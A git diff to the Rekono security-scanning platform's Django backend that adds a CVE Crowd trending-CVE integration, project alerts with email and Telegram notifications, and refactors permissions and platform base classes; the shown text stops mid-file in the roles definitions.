b5b5eeb5f..cc78e1bba 100644 --- a/src/backend/findings/queues.py +++ b/src/backend/findings/queues.py @@ -15,10 +15,11 @@ Vulnerability, ) from framework.queues import BaseQueue +from platforms.cvecrowd.integrations import CVECrowd from platforms.defect_dojo.integrations import DefectDojo from platforms.hacktricks import HackTricks from platforms.mail.notifications import SMTP -from platforms.nvd_nist import NvdNist +from platforms.nvdnist import NvdNist from platforms.telegram_app.notifications.notifications import Telegram from rq.job import Job from settings.models import Settings @@ -39,14 +40,29 @@ def enqueue(self, execution: Execution, findings: List[Finding]) -> Job: @staticmethod @job("findings") def consume(execution: Execution, findings: List[Finding]) -> None: - if findings: - for platform in [NvdNist, HackTricks, DefectDojo, SMTP, Telegram]: - platform().process_findings(execution, findings) settings = Settings.objects.first() - if settings.auto_fix_findings: + if findings: + notifications = [SMTP(), Telegram()] + for platform in [ + NvdNist(), + HackTricks(), + CVECrowd(), + DefectDojo(), + ] + notifications: + platform.process_findings(execution, findings) for finding in findings: - if finding.is_fixed: + if settings.auto_fix_findings and finding.is_fixed: finding.__class__.objects.remove_fix(finding) + for alert in ( + execution.task.target.project.alerts.filter(enabled=True) + .sort("-item") + .all() + ): + if alert.must_be_triggered(execution, finding): + for platform in notifications: + platform.process_alert(alert, finding) + break + if settings.auto_fix_findings: for finding_type in [ OSINT, Host, diff --git a/src/backend/findings/serializers.py b/src/backend/findings/serializers.py index af71edacf..f4224e7ba 100644 --- a/src/backend/findings/serializers.py +++ b/src/backend/findings/serializers.py @@ -116,6 +116,7 @@ class Meta: "cve", "cwe", "reference", + "trending", "exploit", ) read_only_fields = TriageFindingSerializer.Meta.read_only_fields + ( @@ -127,6 +128,7 @@ class Meta: "cve", "cwe", "reference", + "trending", "exploit", ) diff --git a/src/backend/findings/views.py b/src/backend/findings/views.py index 9809a2de6..00c47afd9 100644 --- a/src/backend/findings/views.py +++ b/src/backend/findings/views.py @@ -48,7 +48,7 @@ class OSINTViewSet(TriageFindingViewSet): ordering_fields = ["id", "data", "data_type", "source"] @extend_schema(request=None, responses={201: TargetSerializer}) - @action(detail=True, methods=["POST"], url_path="target", url_name="target") + @action(detail=True, methods=["POST"]) def target(self, request: Request, pk: str) -> Response: """Target creation from OSINT data. diff --git a/src/backend/framework/fields.py b/src/backend/framework/fields.py index 7248fbd9a..f802d0ce1 100644 --- a/src/backend/framework/fields.py +++ b/src/backend/framework/fields.py @@ -1,6 +1,6 @@ from typing import Any, Callable, Optional -from django.forms import ValidationError +from django.core.exceptions import ValidationError from drf_spectacular.types import OpenApiTypes from drf_spectacular.utils import extend_schema_field from rest_framework.serializers import Field diff --git a/src/backend/framework/platforms.py b/src/backend/framework/platforms.py index 18cf155b5..a92569b43 100644 --- a/src/backend/framework/platforms.py +++ b/src/backend/framework/platforms.py @@ -3,6 +3,7 @@ from urllib.parse import urlparse import requests +from alerts.models import Alert from executions.models import Execution from findings.framework.models import Finding from integrations.models import Integration @@ -16,10 +17,6 @@ class BasePlatform: def is_available(self) -> bool: return True - def process_findings(self, execution: Execution, findings: List[Finding]) -> None: - if not self.is_available(): - return - class BaseIntegration(BasePlatform): url = "" @@ -54,10 +51,13 @@ def _request( def is_enabled(self) -> bool: return self.integration.enabled if self.integration else False + def _process_findings(self, execution: Execution, findings: List[Finding]) -> None: + pass + def process_findings(self, execution: Execution, findings: List[Finding]) -> None: if not self.is_enabled(): return - super().process_findings(execution, findings) + self._process_findings(execution, findings) class BaseNotification(BasePlatform): @@ -96,12 +96,26 @@ def _get_users_to_notify_execution(self, execution: Execution) -> List[Any]: ) return list(users) + def _get_users_to_notify_alert(self, alert: Alert) -> List[Any]: + return alert.suscribers.filter(**{self.enable_field: True}).all() + def _notify_execution( self, users: List[Any], execution: Execution, findings: List[Finding] ) -> None: pass + def _notify_alert(self, users: List[Any], alert: Alert, finding: Finding) -> None: + pass + def process_findings(self, execution: Execution, findings: List[Finding]) -> None: - super().process_findings(execution, findings) + if not self.is_available(): + return users = self._get_users_to_notify_execution(execution) self._notify_execution(users, execution, findings) + + def process_alert(self, alert: Alert, finding: Finding) -> None: + if not self.is_available(): + return + self._notify_alert( + alert.suscribers.filter(**{self.enable_field: True}).all(), alert, finding + ) diff --git a/src/backend/framework/views.py b/src/backend/framework/views.py index 9d837711e..cf1869494 100644 --- a/src/backend/framework/views.py +++ b/src/backend/framework/views.py @@ -101,8 +101,6 @@ def get_queryset(self) -> QuerySet: @action( detail=True, methods=["POST", "DELETE"], - url_path="like", - url_name="like", permission_classes=[IsAuthenticated, IsAuditor], ) def like(self, request: Request, pk: str) -> Response: diff --git a/src/backend/input_types/enums.py b/src/backend/input_types/enums.py index a608d5f23..c7c44199f 100644 --- a/src/backend/input_types/enums.py +++ b/src/backend/input_types/enums.py @@ -12,3 +12,4 @@ class InputTypeName(TextChoices): EXPLOIT = "Exploit" WORDLIST = "Wordlist" AUTHENTICATION = "Authentication" + HTTP_HEADER = "Http Header" diff --git a/src/backend/integrations/fixtures/1_integrations.json b/src/backend/integrations/fixtures/1_integrations.json index 93fad76f3..32e1d31c6 100644 --- a/src/backend/integrations/fixtures/1_integrations.json +++ b/src/backend/integrations/fixtures/1_integrations.json @@ -31,5 +31,16 @@ "enabled": true, "reference": "https://book.hacktricks.xyz/" } + }, + { + "model": "integrations.integration", + "pk": 4, + "fields": { + "key": "cvecrowd", + "name": "CVE Crowd", + "description": "Platform that identifies the most trending CVEs at the moment based on their impact on social networks, and whose API will be used by Rekono to check if the CVEs detected on the targets are trending or not", + "enabled": true, + "reference": "https://cvecrowd.com/" + } } ] \ No newline at end of file diff --git a/src/backend/notes/views.py b/src/backend/notes/views.py index fac130654..8ed244bae 100644 --- a/src/backend/notes/views.py +++ b/src/backend/notes/views.py @@ -70,8 +70,16 @@ def get_queryset(self) -> QuerySet: ) @extend_schema(request=None, responses={201: NoteSerializer}) - @action(detail=True, methods=["POST"], url_path="fork", url_name="fork") - def target(self, request: Request, pk: str) -> Response: + @action( + detail=True, + methods=["POST"], + permission_classes=[ + IsAuthenticated, + RekonoModelPermission, + ProjectMemberPermission, + ], + ) + def fork(self, request: Request, pk: str) -> Response: note = self.get_object() fork = Note.objects.create( project=note.project, diff --git a/src/backend/platforms/cvecrowd/__init__.py b/src/backend/platforms/cvecrowd/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/platforms/cvecrowd/admin.py b/src/backend/platforms/cvecrowd/admin.py new file mode 100644 index 000000000..d690a382b --- /dev/null +++ b/src/backend/platforms/cvecrowd/admin.py @@ -0,0 +1,6 @@ +from django.contrib import admin +from platforms.cvecrowd.models import CVECrowdSettings + +# Register your models here. + +admin.site.register(CVECrowdSettings) diff --git a/src/backend/platforms/cvecrowd/apps.py b/src/backend/platforms/cvecrowd/apps.py new file mode 100644 index 000000000..1cf552206 --- /dev/null +++ b/src/backend/platforms/cvecrowd/apps.py @@ -0,0 +1,16 @@ +from pathlib import Path +from typing import Any, List + +from django.apps import AppConfig +from framework.apps import BaseApp + + +class CvecrowdConfig(BaseApp, AppConfig): + name = "platforms.cvecrowd" + fixtures_path = Path(__file__).resolve().parent / "fixtures" + skip_if_model_exists = True + + def _get_models(self) -> List[Any]: + from platforms.cvecrowd.models import CVECrowdSettings + + return [CVECrowdSettings] diff --git a/src/backend/platforms/cvecrowd/fixtures/1_default.json b/src/backend/platforms/cvecrowd/fixtures/1_default.json new file mode 100644 index 000000000..a3659289a --- /dev/null +++ b/src/backend/platforms/cvecrowd/fixtures/1_default.json @@ -0,0 +1,11 @@ +[ + { + "model": "cvecrowd.cvecrowdsettings", + "pk": 1, + "fields": { + "_api_token": null, + "trending_span_days": 7, + "execute_per_execution": true + } + } +] \ No newline at end of file diff --git a/src/backend/platforms/cvecrowd/integrations.py b/src/backend/platforms/cvecrowd/integrations.py new file mode 100644 index 000000000..a16e1e8e5 --- /dev/null +++ b/src/backend/platforms/cvecrowd/integrations.py @@ -0,0 +1,99 @@ +import logging +from typing import List + +from alerts.enums import AlertItem, AlertMode +from alerts.models import Alert +from executions.models import Execution +from findings.enums import TriageStatus +from findings.framework.models import Finding +from findings.models import Vulnerability +from framework.platforms import BaseIntegration +from platforms.cvecrowd.models import CVECrowdSettings +from platforms.mail.notifications import SMTP +from platforms.telegram_app.notifications.notifications import Telegram + +logger = logging.getLogger() + + +class CVECrowd(BaseIntegration): + def __init__(self) -> None: + self.settings = CVECrowdSettings.objects.first() + self.url = "https://api.cvecrowd.com/api/v1/cves" + self.trending_cves: List[str] = [] + super().__init__() + + def is_available(self) -> bool: + if self.settings.secret: + self._get_trending_cves() + return len(self.trending_cves) > 0 + return False + + def _get_trending_cves(self) -> None: + if ( + self.integration.enabled + and self.settings.secret + and len(self.trending_cves) == 0 + ): + try: + self.trending_cves = self._request( + self.url, + headers={"Authorization": f"Bearer {self.settings.secret}"}, + params={"days": self.settings.trending_span_days}, + ) + except Exception: # nosec + pass + + def _process_findings(self, execution: Execution, findings: List[Finding]) -> None: + if not self.settings.execute_per_execution: + return + self._get_trending_cves() + if not self.trending_cves: + return + for finding in findings: + if ( + isinstance(finding, Vulnerability) + and finding.cve is not None + and finding.cve in self.trending_cves + ): + finding.trending = True + finding.save(update_fields=["trending"]) + + def monitor(self) -> None: + self._get_trending_cves() + if not self.trending_cves: + logger.warn("[CVE Crowd] No trending CVEs found") + return + already_trending_queryset = Vulnerability.objects.filter(trending=True).all() + already_trending_cves = list( + already_trending_queryset.values_list("cve", flat=True) + ) + already_trending_queryset.exclude(cve__in=self.trending_cves).update( + trending=False + ) + Vulnerability.objects.filter(trending=False, cve__in=self.trending_cves).update( + trending=True + ) + notified_vulnerabilities: List[int] = [] + for alert in Alert.objects.filter( + item=AlertItem.CVE, mode=AlertMode.MONITOR, enabled=True + ).all(): + vulnerabilities = ( + Vulnerability.objects.filter( + executions__task__target__project=alert.project, + cve__isnull=False, + is_fixed=False, + trending=True, + ) + .exclude(triage_status=TriageStatus.FALSE_POSITIVE) + .exclude(cve__in=already_trending_cves) + .exclude(id__in=notified_vulnerabilities) + .all() + ) + logger.info( + f"[CVE Crowd] New {vulnerabilities.count()} trending vulnerabilities found in project {alert.project.id}" + ) + for vulnerability in vulnerabilities: + if alert.must_be_triggered(None, vulnerability): + notified_vulnerabilities.append(vulnerability.id) + for platform in [SMTP, Telegram]: + platform().process_alert(alert, vulnerability) diff --git a/src/backend/platforms/cvecrowd/models.py b/src/backend/platforms/cvecrowd/models.py new file mode 100644 index 000000000..88bd44bbc --- /dev/null +++ b/src/backend/platforms/cvecrowd/models.py @@ -0,0 +1,25 @@ +from django.core.validators import MaxValueValidator, MinValueValidator +from django.db import models +from framework.models import BaseEncrypted +from security.validators.input_validator import Regex, Validator + +# Create your models here. + + +class CVECrowdSettings(BaseEncrypted): + _api_token = models.TextField( + max_length=50, + validators=[Validator(Regex.SECRET.value, code="api_token")], + null=True, + blank=True, + db_column="api_token", + ) + trending_span_days = models.IntegerField( + default=7, validators=[MinValueValidator(1), MaxValueValidator(7)] + ) + execute_per_execution = models.BooleanField(default=True) + + _encrypted_field = "_api_token" + + def __str__(self) -> str: + return "CVE Crowd" diff --git a/src/backend/platforms/cvecrowd/serializers.py b/src/backend/platforms/cvecrowd/serializers.py new file mode 100644 index 000000000..cd081a759 --- /dev/null +++ b/src/backend/platforms/cvecrowd/serializers.py @@ -0,0 +1,28 @@ +from framework.fields import ProtectedSecretField +from platforms.cvecrowd.integrations import CVECrowd +from platforms.cvecrowd.models import CVECrowdSettings +from rest_framework.serializers import ModelSerializer, SerializerMethodField +from security.validators.input_validator import Regex, Validator + + +class CVECrowdSettingsSerializer(ModelSerializer): + api_token = ProtectedSecretField( + validators=[Validator(Regex.SECRET.value, code="api_token")], + required=False, + allow_null=True, + source="secret", + ) + is_available = SerializerMethodField(read_only=True) + + class Meta: + model = CVECrowdSettings + fields = ( + "id", + "trending_span_days", + "execute_per_execution", + "api_token", + "is_available", + ) + + def get_is_available(self, instance: CVECrowdSettings) -> bool: + return CVECrowd().is_available() diff --git a/src/backend/platforms/cvecrowd/urls.py b/src/backend/platforms/cvecrowd/urls.py new file mode 100644 index 000000000..affa8e267 --- /dev/null +++ b/src/backend/platforms/cvecrowd/urls.py @@ -0,0 +1,9 @@ +from platforms.cvecrowd.views import CVECrowdSettingsViewSet +from rest_framework.routers import SimpleRouter + +# Register your views here. + +router = SimpleRouter() +router.register("cvecrowd", CVECrowdSettingsViewSet) + +urlpatterns = router.urls diff --git a/src/backend/platforms/cvecrowd/views.py b/src/backend/platforms/cvecrowd/views.py new file mode 100644 index 000000000..95e5a607e --- /dev/null +++ b/src/backend/platforms/cvecrowd/views.py @@ -0,0 +1,12 @@ +from framework.views import BaseViewSet +from platforms.cvecrowd.models import CVECrowdSettings +from platforms.cvecrowd.serializers import CVECrowdSettingsSerializer +from rest_framework.permissions import IsAuthenticated +from security.authorization.permissions import RekonoModelPermission + + +class CVECrowdSettingsViewSet(BaseViewSet): + queryset = CVECrowdSettings.objects.all() + serializer_class = CVECrowdSettingsSerializer + permission_classes = [IsAuthenticated, RekonoModelPermission] + http_method_names = ["get", "put"] diff --git a/src/backend/platforms/defect_dojo/integrations.py b/src/backend/platforms/defect_dojo/integrations.py index 3204b8c5a..2e40a20d3 100644 --- a/src/backend/platforms/defect_dojo/integrations.py +++ b/src/backend/platforms/defect_dojo/integrations.py @@ -4,8 +4,6 @@ import requests from django.utils import timezone -from requests.exceptions import HTTPError - from executions.models import Execution from findings.enums import PathType, Severity from findings.framework.models import Finding @@ -16,6 +14,7 @@ DefectDojoSync, DefectDojoTargetSync, ) +from requests.exceptions import HTTPError from targets.models import Target @@ -174,8 +173,7 @@ def _import_scan( files={"file": report}, ) - def process_findings(self, execution: Execution, findings: List[Finding]) -> None: - super().process_findings(execution, findings) + def _process_findings(self, execution: Execution, findings: List[Finding]) -> None: target_sync = DefectDojoTargetSync.objects.filter(target=execution.task.target) if target_sync.exists(): sync = target_sync.first() diff --git a/src/backend/platforms/defect_dojo/serializers.py b/src/backend/platforms/defect_dojo/serializers.py index 23b55e807..2d2a0517e 100644 --- a/src/backend/platforms/defect_dojo/serializers.py +++ b/src/backend/platforms/defect_dojo/serializers.py @@ -1,17 +1,8 @@ from typing import Any, Dict, cast +from django.core.exceptions import ValidationError from django.core.validators import MaxValueValidator, MinValueValidator -from django.forms import ValidationError from django.shortcuts import get_object_or_404 -from rest_framework.serializers import ( - CharField, - IntegerField, - ModelSerializer, - PrimaryKeyRelatedField, - Serializer, - SerializerMethodField, -) - from framework.fields import ProtectedSecretField from platforms.defect_dojo.integrations import DefectDojo from platforms.defect_dojo.models import ( @@ -20,6 +11,14 @@ DefectDojoTargetSync, ) from projects.models import Project +from rest_framework.serializers import ( + CharField, + IntegerField, + ModelSerializer, + PrimaryKeyRelatedField, + Serializer, + SerializerMethodField, +) from security.validators.input_validator import Regex, Validator diff --git a/src/backend/platforms/hacktricks.py b/src/backend/platforms/hacktricks.py index 686788b96..408da3565 100644 --- a/src/backend/platforms/hacktricks.py +++ b/src/backend/platforms/hacktricks.py @@ -1,7 +1,6 @@ from typing import List, Optional import defusedxml.ElementTree as parser - from executions.models import Execution from findings.enums import HostOS from findings.framework.models import Finding @@ -95,10 +94,9 @@ def _get_mapped_value_for_service(self, service: str) -> Optional[str]: for mapped_value, services in self.services_mapping.items(): if service in services: return mapped_value - return None # TOTEST + return None - def process_findings(self, execution: Execution, findings: List[Finding]) -> None: - super().process_findings(execution, findings) + def _process_findings(self, execution: Execution, findings: List[Finding]) -> None: for finding in findings: hacktricks_link = None if isinstance(finding, Host) and finding.os_type in self.host_type_mapping: @@ -108,7 +106,7 @@ def process_findings(self, execution: Execution, findings: List[Finding]) -> Non mapped_value = self._get_mapped_value_for_service(service_comparator) if self.url in (mapped_value or ""): hacktricks_link = mapped_value - elif mapped_value: # TOTEST + elif mapped_value: service_comparator = mapped_value if not hacktricks_link: for link in self.all_links: diff --git a/src/backend/platforms/mail/notifications.py b/src/backend/platforms/mail/notifications.py index 095a9cff7..f791195b3 100644 --- a/src/backend/platforms/mail/notifications.py +++ b/src/backend/platforms/mail/notifications.py @@ -4,6 +4,8 @@ from typing import Any, Dict, List import certifi +from alerts.enums import AlertMode +from alerts.models import Alert from django.core.mail import EmailMultiAlternatives from django.core.mail.backends.smtp import EmailBackend from django.template.loader import get_template @@ -95,7 +97,7 @@ def _notify_execution( if findings.__class__.__name__.lower() not in findings_by_class: findings_by_class[findings.__class__.__name__.lower()] = [] findings_by_class[findings.__class__.__name__.lower()].append(finding) - self._notify_if_available( + self._notify( users, f"[Rekono] {execution.configuration.tool.name} execution completed", "execution_notification.html", @@ -106,6 +108,20 @@ def _notify_execution( background=False, ) + def _notify_alert(self, users: List[Any], alert: Alert, finding: Finding) -> None: + subjects = { + AlertMode.NEW: f"New {finding.__class__.__name__.lower()} detected", + AlertMode.FILTER.value: f"New {finding.__class__.__name__.lower()} matches alert criteria", + AlertMode.MONITOR.value: "New trending CVE", + } + self._notify( + users, + f"[Rekono] {subjects[alert.mode]}", + "alert_notification.html", + {"alert": alert, "finding": finding}, + background=False, + ) + def invite_user(self, user: Any, otp: str) -> None: self._notify_if_available( [user], diff --git a/src/backend/platforms/mail/templates/alert_notification.html b/src/backend/platforms/mail/templates/alert_notification.html new file mode 100644 index 000000000..7ac6c9e05 --- /dev/null +++ b/src/backend/platforms/mail/templates/alert_notification.html @@ -0,0 +1,196 @@ + + + + + + + Rekono + + +
+
+ Rekono +
+
+

{{ finding.__class__.__name__ }}

+
+
+
+ {% if finding.__class__.__name__ == "OSINT" %} +
+
+

Data

+

{{ finding.data }}

+
+
+

Data Type

+

{{ finding.data_type }}

+
+
+

Source

+

{{ finding.source }}

+
+
+ {% endif %} + + {% if finding.__class__.__name__ == "Host" %} +
+
+

Address

+

{{ finding.address }}

+
+
+

OS

+

{{ finding.os }}

+
+
+

OS Type

+

{{ finding.os_type }}

+
+
+ {% endif %} + + {% if finding.__class__.__name__ == "Port" %} +
+
+

Host

+ {% if finding.host %} +

{{ finding.host.address }}

+ {% endif %} +
+
+

Port

+

{{ finding.port }}

+
+
+

Status

+

{{ finding.status }}

+
+
+

Protocol

+

{{ finding.protocol }}

+
+
+

Service

+

{{ finding.service }}

+
+
+ {% endif %} + + {% if finding.__class__.__name__ == "Technology" %} +
+
+

Host

+ {% if finding.port and finding.port.host %} +

{{ finding.port.host.address }}

+ {% endif %} +
+
+

Port

+ {% if finding.port %} +

{{ finding.port.port }}

+ {% endif %} +
+
+

Technology

+

{{ finding.name }}

+
+
+

Technology

+

{{ finding.version }}

+
+
+

Reference

+ {% if finding.reference %} + + Link + {% endif %} +
+
+ {% endif %} + + {% if finding.__class__.__name__ == "Credential" %} +
+
+

Technology

+ {% if finding.technology %} +

{{ finding.technology.name }}

+ {% endif %} +
+
+

Email

+

{{ finding.email }}

+
+
+

Username

+

{{ finding.username }}

+
+
+

Secret

+

{{ finding.secret }}

+
+
+

Context

+

{{ finding.context }}

+
+
+ {% endif %} + + {% if finding.__class__.__name__ == "Vulnerability" %} +
+
+

Host

+ {% if finding.port and finding.port.host %} +

{{ finding.port.host.address }}

+ {% endif %} +
+
+

Port

+ {% if finding.port %} +

{{ finding.port.port }}

+ {% endif %} +
+
+

Technology

+ {% if finding.technology %} +

{{ finding.technology.name }}

+ {% endif %} +
+
+

Name

+

{{ finding.name }}

+
+
+

Description

+

{{ finding.description }}

+
+
+

Severity

+

{{ finding.severity }}

+
+
+

CVE

+

{{ finding.cve }}

+
+
+

CWE

+

{{ finding.cwe }}

+
+
+

Reference

+ {% if finding.reference %} + + Link + {% endif %} +
+
+ {% endif %} +
+
+
+ + Review all details +
+
+ + \ No newline at end of file diff --git a/src/backend/platforms/nvd_nist.py b/src/backend/platforms/nvdnist.py similarity index 96% rename from src/backend/platforms/nvd_nist.py rename to src/backend/platforms/nvdnist.py index 747dfaef7..5fed6b748 100644 --- a/src/backend/platforms/nvd_nist.py +++ b/src/backend/platforms/nvdnist.py @@ -20,8 +20,7 @@ def __init__(self) -> None: Severity.INFO: (0, 2), } - def process_findings(self, execution: Execution, findings: List[Finding]) -> None: - super().process_findings(execution, findings) + def _process_findings(self, execution: Execution, findings: List[Finding]) -> None: for finding in findings: if isinstance(finding, Vulnerability) and finding.cve: try: diff --git a/src/backend/platforms/telegram_app/notifications/notifications.py b/src/backend/platforms/telegram_app/notifications/notifications.py index 148b6e1a1..8d41f7395 100644 --- a/src/backend/platforms/telegram_app/notifications/notifications.py +++ b/src/backend/platforms/telegram_app/notifications/notifications.py @@ -1,11 +1,17 @@ from typing import Any, Dict, List +from alerts.models import Alert from django.forms.models import model_to_dict from executions.models import Execution from findings.framework.models import Finding from framework.platforms import BaseNotification from platforms.telegram_app.framework import BaseTelegram -from platforms.telegram_app.notifications.templates import EXECUTION, FINDINGS, HEADER +from platforms.telegram_app.notifications.templates import ( + ALERTS, + EXECUTION, + FINDINGS, + HEADER, +) from rekono.settings import CONFIG from users.models import User @@ -61,7 +67,28 @@ def _notify_execution( ] ), ) - self._notify_if_available(users, message) + self._notify(users, message) + + def _notify_alert(self, users: List[User], alert: Alert, finding: Finding) -> None: + self._notify( + users, + HEADER.format( + icon=FINDINGS[finding.__class__].get("icon", ""), + title=ALERTS.get(alert.mode, "").format( + finding=finding.__class__.__name__.lower() + ), + details=FINDINGS[finding.__class__] + .get("template", "") + .format( + **{ + k: self._escape( + str(v) if not isinstance(v, Finding) else v.__str__() + ) + for k, v in model_to_dict(finding).items() + } + ), + ), + ) def welcome_message(self, user: User) -> None: self._notify_if_available( diff --git a/src/backend/platforms/telegram_app/notifications/templates.py b/src/backend/platforms/telegram_app/notifications/templates.py index fdf5e72b7..6fbc906cb 100644 --- a/src/backend/platforms/telegram_app/notifications/templates.py +++ b/src/backend/platforms/telegram_app/notifications/templates.py @@ -1,3 +1,4 @@ +from alerts.enums import AlertMode from findings.models import ( OSINT, Credential, @@ -55,7 +56,7 @@ _Port_ *{port}* _Status_ {status} _Protocol_ {protocol} -_Service_ {service} +_Service_ *{service}* """, }, Path: { @@ -107,3 +108,9 @@ """, }, } + +ALERTS = { + AlertMode.NEW.value: "[ALERT] New {finding} detected", + AlertMode.FILTER.value: "[ALERT] New {finding} matches the criteria", + AlertMode.MONITOR.value: "[ALERT] New trending CVE 🔥", +} diff --git a/src/backend/projects/serializers.py b/src/backend/projects/serializers.py index 735538e5b..0f45996f4 100644 --- a/src/backend/projects/serializers.py +++ b/src/backend/projects/serializers.py @@ -1,6 +1,8 @@ import logging from typing import Any, Dict +from alerts.enums import AlertItem, AlertMode +from alerts.models import Alert from django.db import transaction from django.shortcuts import get_object_or_404 from framework.fields import TagField @@ -61,6 +63,14 @@ def create(self, validated_data: Dict[str, Any]) -> Project: project = super().create(validated_data) # Create project # Add project owner also in member list project.members.add(validated_data.get("owner")) + alert = Alert.objects.create( + project=project, + item=AlertItem.CVE, + mode=AlertMode.MONITOR, + enabled=True, + owner=validated_data.get("owner"), + ) + alert.suscribers.add(validated_data.get("owner")) return project @@ -79,7 +89,10 @@ def update(self, instance: Project, validated_data: Dict[str, Any]) -> Project: Returns: Project: Updated instance """ - instance.members.add( - get_object_or_404(User, pk=validated_data.get("user"), is_active=True) - ) + user = get_object_or_404(User, pk=validated_data.get("user"), is_active=True) + instance.members.add(user) + for alert in Alert.objects.filter( + project=instance, suscribe_all_members=True, enabled=True + ).all(): + alert.suscribers.add(user) return instance diff --git a/src/backend/projects/views.py b/src/backend/projects/views.py index 8f27028cc..4be834bb8 100644 --- a/src/backend/projects/views.py +++ b/src/backend/projects/views.py @@ -1,15 +1,14 @@ from drf_spectacular.utils import extend_schema +from framework.views import BaseViewSet +from projects.filters import ProjectFilter +from projects.models import Project +from projects.serializers import ProjectMemberSerializer, ProjectSerializer from rest_framework import status from rest_framework.decorators import action from rest_framework.generics import get_object_or_404 from rest_framework.permissions import IsAuthenticated from rest_framework.request import Request from rest_framework.response import Response - -from framework.views import BaseViewSet -from projects.filters import ProjectFilter -from projects.models import Project -from projects.serializers import ProjectMemberSerializer, ProjectSerializer from security.authorization.permissions import ( ProjectMemberPermission, RekonoModelPermission, @@ -33,8 +32,8 @@ class ProjectViewSet(BaseViewSet): ordering_fields = ["id", "name"] @extend_schema(request=ProjectMemberSerializer, responses={201: None}) - @action(detail=True, methods=["POST"], url_path="members", url_name="members") - def add_member(self, request: Request, pk: str) -> Response: + @action(detail=True, methods=["POST"]) + def members(self, request: Request, pk: str) -> Response: """Add user to the project members. Args: @@ -72,6 +71,8 @@ def remove_member(self, request: Request, member_id: str, pk: str) -> Response: if int(member_id) != project.owner.id: # Member found and it isn't the project owner project.members.remove(member) # Remove project member + for alert in project.alerts.filter(suscribers=member).all(): + alert.suscribers.remove(member) return Response(status=status.HTTP_204_NO_CONTENT) return Response( {"user": ["The project owner can't be removed"]}, diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index e68859c99..04a02f873 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -51,6 +51,7 @@ "rest_framework", "rest_framework_simplejwt.token_blacklist", "taggit", + "alerts", "api_tokens", "authentications", "executions", @@ -59,6 +60,7 @@ "input_types", "integrations", "notes", + "platforms.cvecrowd", "platforms.defect_dojo", "platforms.mail", "platforms.telegram_app", @@ -159,7 +161,7 @@ "ISSUER": "Rekono", } -LOGGING = { +LOGGING: Dict[str, Any] = { "version": 1, # Disable default Django logging system to avoid noise "disable_existing_loggers": False, @@ -307,6 +309,7 @@ "tasks": default_rq_queue, "executions": default_rq_queue, "findings": default_rq_queue, + "monitor": default_rq_queue, } RQ_QUEUES["executions"]["DEFAULT_TIMEOUT"] = 28800 # 8 hours diff --git a/src/backend/rekono/urls.py b/src/backend/rekono/urls.py index ec379188c..bd8bd6ac6 100644 --- a/src/backend/rekono/urls.py +++ b/src/backend/rekono/urls.py @@ -27,6 +27,7 @@ urlpatterns = [ path("admin/", admin.site.urls), + path("api/", include("alerts.urls")), path("api/", include("api_tokens.urls")), path("api/", include("authentications.urls")), path("api/", include("executions.urls")), @@ -35,6 +36,7 @@ path("api/", include("integrations.urls")), path("api/", include("notes.urls")), path("api/", include("parameters.urls")), + path("api/", include("platforms.cvecrowd.urls")), path("api/", include("platforms.defect_dojo.urls")), path("api/", include("platforms.mail.urls")), path("api/", include("platforms.telegram_app.urls")), diff --git a/src/backend/rekono/views.py b/src/backend/rekono/views.py index 0dc25a7f0..f2ae09888 100644 --- a/src/backend/rekono/views.py +++ b/src/backend/rekono/views.py @@ -28,7 +28,7 @@ class RQStatsView(APIView): name="RQStats", fields={ "executions": inline_serializer( - name="ExecutionStats", + name="ExecutionsStats", fields={k: serializers.IntegerField() for k in exposed_fields}, ), "findings": inline_serializer( diff --git a/src/backend/reporting/views.py b/src/backend/reporting/views.py index d1d4ec9ab..fa0bb40eb 100644 --- a/src/backend/reporting/views.py +++ b/src/backend/reporting/views.py @@ -143,7 +143,7 @@ def destroy(self, request: Request, *args: Any, **kwargs: Any) -> Response: 404: None, }, ) - @action(detail=True, methods=["GET"], url_path="download", url_name="download") + @action(detail=True, methods=["GET"]) def download(self, request: Request, pk: str) -> FileResponse: report = self.get_object() if report.status != ReportStatus.READY: diff --git a/src/backend/security/authorization/permissions.py b/src/backend/security/authorization/permissions.py index 8751f5a0a..5b84a5343 100644 --- a/src/backend/security/authorization/permissions.py +++ b/src/backend/security/authorization/permissions.py @@ -1,5 +1,6 @@ -from typing import Any +from typing import Any, Dict +from alerts.models import Alert from notes.models import Note from platforms.telegram_app.models import TelegramChat from processes.models import Process, Step @@ -90,6 +91,24 @@ def has_object_permission(self, request: Request, view: View, obj: Any) -> bool: class OwnerPermission(BasePermission): """Check if current user can access an object based on HTTP method and creator user.""" + # By default: instance returns the same object, allow_admin is True and owner_field is owner + mapping: Dict[Any, Dict[str, Any]] = { + Wordlist: {}, + Process: {}, + Step: { + "instance": lambda o: o.process, + }, + Note: { + "allow_admin": False, + }, + Alert: {}, + TelegramChat: { + "owner_field": "user", + "allow_admin": False, + }, + Report: {"owner_field": "user"}, + } + def _has_object_permission( self, request: Request, @@ -103,11 +122,6 @@ def _has_object_permission( return ( not instance or request.method == "GET" - or ( - request.method == "POST" - and "/fork/" in request.path - and isinstance(instance, Note) - ) or ( hasattr(instance, owner_field) and getattr(instance, owner_field) == request.user @@ -139,15 +153,10 @@ def has_object_permission(self, request: Request, view: View, obj: Any) -> bool: Returns: bool: Indicate if user is authorized to make this request or not """ - instance = None - owner_field = "" - allow_admin = not isinstance(obj, Note) and not isinstance(obj, TelegramChat) - if obj.__class__ in [Wordlist, Process, Step, Note]: - instance = obj.process if obj.__class__ == Step else obj - owner_field = "owner" - elif obj.__class__ in [TelegramChat, Report]: - instance = obj - owner_field = "user" return self._has_object_permission( - request, view, instance, owner_field, allow_admin + request, + view, + self.mapping[obj.__class__].get("instance", lambda o: o)(obj), + self.mapping[obj.__class__].get("owner_field", "owner"), + self.mapping[obj.__class__].get("allow_admin", True), ) diff --git a/src/backend/security/authorization/roles.py b/src/backend/security/authorization/roles.py index bc8c14a2c..24abd0b21 100644 --- a/src/backend/security/authorization/roles.py +++ b/src/backend/security/authorization/roles.py @@ -244,4 +244,22 @@ class Role(models.TextChoices): "change": [Role.ADMIN, Role.AUDITOR], "delete": [Role.ADMIN, Role.AUDITOR], }, + "alert": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [Role.ADMIN, Role.AUDITOR, Role.READER], + "change": [Role.ADMIN, Role.AUDITOR, Role.READER], + "delete": [Role.ADMIN, Role.AUDITOR, Role.READER], + }, + "cvecrowdsettings": { + "view": [Role.ADMIN], + "add": [], + "change": 